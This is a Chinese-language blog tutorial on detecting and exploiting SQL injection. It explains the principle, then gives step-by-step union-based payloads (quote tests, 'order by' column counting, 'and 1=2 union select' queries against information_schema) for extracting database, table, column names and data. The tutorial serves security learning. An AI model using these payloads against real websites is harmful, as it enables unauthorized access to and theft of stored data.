SQL注入——判断注入

SQL注入漏洞基本原理

Web应用程序对用户输入的数据校验处理不严或者根本没有校验,致使用户可以拼接执行SQL命令。
可能导致数据泄露或数据破坏,缺乏可审计性,甚至导致完全接管主机。
sql注入是将用户输入的数据当作了SQL语句放入了数据库执行。
XSS是将用户输入的数据当作了HTML语句放到了页面上执行。

部分SQL语句

order by 字段:根据该字段排序,由小到大。
order by 3:根据第三个字段排序,由小到大。
limit 0,2:从第一行起显示两条记录。(0表示第一行,2表示显示两行)
union select:将多个表拼接在一起显示。
column_name:字段名
table_name:表名
schema_name:库名
information_schema:表示所有信息,包括库、表、字段
information_schema.columns:表示所有字段的信息
information_schema.tables:表示所有表的信息
information_schema.schemata:表示所有数据库的信息
table_schema:tables表中的数据库名

注入步骤

1.找:与数据库交互的地方(增删改查)
功能:注册、登录、搜索框、筛选、排序。
读取数据:网站偷偷记录我们的数据,收入数据库。

2.判断:语句是否执行
找注入点:id=1’ 在1后面加单引号,页面出错
id=1 and 1=1 正常 id=1 and 1=2 错误
参数可控:改变网页地址的参数,看页面是否变化。

3.查看前一个表的字段数
用order by 数字,直到某一个数字n报错,说明该表有n-1个字段

4.查询数据库名

and 1=2 union select 1,schema_name from information_schema.schemata limit 0,1

4.查询当前库的表名,用union连接select语句
使union前的语句不成立,以执行我们输入的语句
and 1=2 union select…
从information_schema库的tables表中查询table_name字段,且数据库名等于当前数据库,显示第一行的信息(即第一个表名)

and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1

因为我们查的只有一个字段名table_name,所以要在table_name前添加1,2,3等等来占位,以符合前一个表的字段数。(例如:select 1,table_name from…)
5.查询字段名

select 1,column_name from information_schema.columns where table_schema= database() and table_name=‘上一步查到的表名’ limit 0,1
(单引号要换成英文的)

6.查字段的值

and 1=2 union select 1,字段名 from 表名

  • 2
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

帅超超i

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值